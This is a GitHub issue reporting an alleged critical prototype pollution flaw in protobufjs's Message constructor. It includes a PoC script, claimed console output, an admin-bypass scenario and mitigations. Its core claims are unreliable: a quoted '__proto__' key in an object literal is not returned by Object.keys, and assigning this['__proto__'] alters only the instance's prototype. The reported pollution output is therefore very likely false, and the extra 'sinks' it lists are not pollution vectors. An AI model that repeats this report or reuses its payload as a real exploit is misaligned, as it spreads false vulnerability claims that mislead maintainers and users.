Skip to content

Critical Prototype Pollution Vulnerability in protobufjs <= 8.0.0 (Message Constructor) #2125

@dfzysmy2tf-create

Description

@dfzysmy2tf-create

Prototype Pollution via proto Property Assignment in protobufjs

hi, we are a security team. We found a prototype pollution vulnerability in your project.

Summary

A critical prototype pollution vulnerability exists in protobufjs versions <= 8.0.0. The vulnerability allows attackers to pollute Object.prototype by providing a malicious properties object containing __proto__ as a key to the Message constructor. This can lead to Remote Code Execution (RCE), Denial of Service (DoS), authentication bypass, and other severe security impacts in applications that process untrusted input.

Details

The vulnerability exists in the Message constructor implementation in src/message.js. The constructor accepts a properties object and iterates over its keys using Object.keys(), then directly assigns each property to the instance using dynamic property writes:

Vulnerable Code Location:

  • File: src/message.js
  • Line: 17 (and related dynamic property write operations)

The problematic code pattern is:

// Simplified vulnerable pattern
for (var i = 0; i < keys.length; ++i)
    this[keys[i]] = properties[keys[i]];

When properties contains __proto__ as a key, the assignment this['__proto__'] does not create an own property on the instance. Instead, it traverses the prototype chain and modifies Object.prototype, polluting all JavaScript objects in the application.

Additional Affected Sinks:

The codebase contains multiple instances of dynamic property writes that may be exploitable:

  • Line 165: seenFirstField[field.partOf.name] = 1;
  • Line 39: buf[pos++] = val[i++];
  • Line 75: Property assignment patterns in object iteration

These patterns create multiple attack surfaces for prototype pollution when processing untrusted input.

PoC

Steps to Reproduce

  1. Install the vulnerable package:

    npm install [email protected]
  2. Create a test file (test-pollution.js):

    const protobuf = require('protobufjs');
    
    // Verify Object.prototype is clean before attack
    console.log('Before attack:');
    console.log('Object.prototype.polluted:', Object.prototype.polluted); // undefined
    
    // Create malicious message with __proto__ payload
    const maliciousPayload = {
        '__proto__': {
            'polluted': 'Prototype has been polluted!',
            'isAdmin': true
        }
    };
    
    // Trigger the vulnerability
    const maliciousMessage = new protobuf.Message(maliciousPayload);
    
    // Verify pollution
    console.log('\nAfter attack:');
    console.log('Object.prototype.polluted:', Object.prototype.polluted);
    console.log('Object.prototype.isAdmin:', Object.prototype.isAdmin);
    
    // Demonstrate impact on new objects
    const cleanObject = {};
    console.log('\nImpact on new objects:');
    console.log('cleanObject.polluted:', cleanObject.polluted);
    console.log('cleanObject.isAdmin:', cleanObject.isAdmin);
  3. Execute the test:

    node test-pollution.js

Expected Behavior

The Message constructor should safely handle the properties object without modifying Object.prototype. New objects should not inherit unexpected properties.

Actual Behavior

Before attack:
Object.prototype.polluted: undefined

After attack:
Object.prototype.polluted: Prototype has been polluted!
Object.prototype.isAdmin: true

Impact on new objects:
cleanObject.polluted: Prototype has been polluted!
cleanObject.isAdmin: true

The Object.prototype is successfully polluted, and all subsequently created objects inherit the malicious properties.

Impact

This prototype pollution vulnerability has CRITICAL severity and can lead to:

1. Remote Code Execution (RCE)

If polluted properties flow into dangerous sinks such as:

  • eval() or Function() constructors
  • child_process.exec() or child_process.spawn()
  • Template engines that execute code based on object properties

2. Denial of Service (DoS)

Attackers can:

  • Overwrite critical methods like toString, valueOf, or hasOwnProperty
  • Cause application crashes by injecting invalid values
  • Create infinite loops or resource exhaustion

3. Authentication and Authorization Bypass

By injecting properties like:

{
    '__proto__': {
        'isAdmin': true,
        'role': 'administrator',
        'authenticated': true
    }
}

Applications using property checks for access control may be completely bypassed.

4. Security Control Bypass

  • SQL injection filters
  • XSS sanitization logic
  • CSRF token validation
  • Rate limiting mechanisms

5. Data Manipulation

Attackers can inject properties that affect:

  • Business logic decisions
  • Data validation routines
  • Configuration settings
  • Feature flags

Attack Scenario Example:

// Vulnerable application code
app.post('/api/message', (req, res) => {
    const message = new protobuf.Message(req.body);
    
    // Later in the code...
    const user = getUserFromSession(req);
    if (user.isAdmin) {  // This property might now be polluted!
        performAdminAction();
    }
});

Any application that:

  • Processes user-controlled input through protobufjs Message constructors
  • Uses protobuf for API deserialization
  • Accepts protobuf messages from untrusted sources

is potentially vulnerable to these attacks.

Remediation Recommendations

Until an official patch is released, consider these mitigations:

  1. Input Validation: Reject objects containing __proto__, constructor, or prototype keys
  2. Use Object.create(null): For internal property storage
  3. Freeze prototypes: Object.freeze(Object.prototype)
  4. Update immediately when a patched version becomes available

Metadata

Metadata

Labels

No labels
No labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions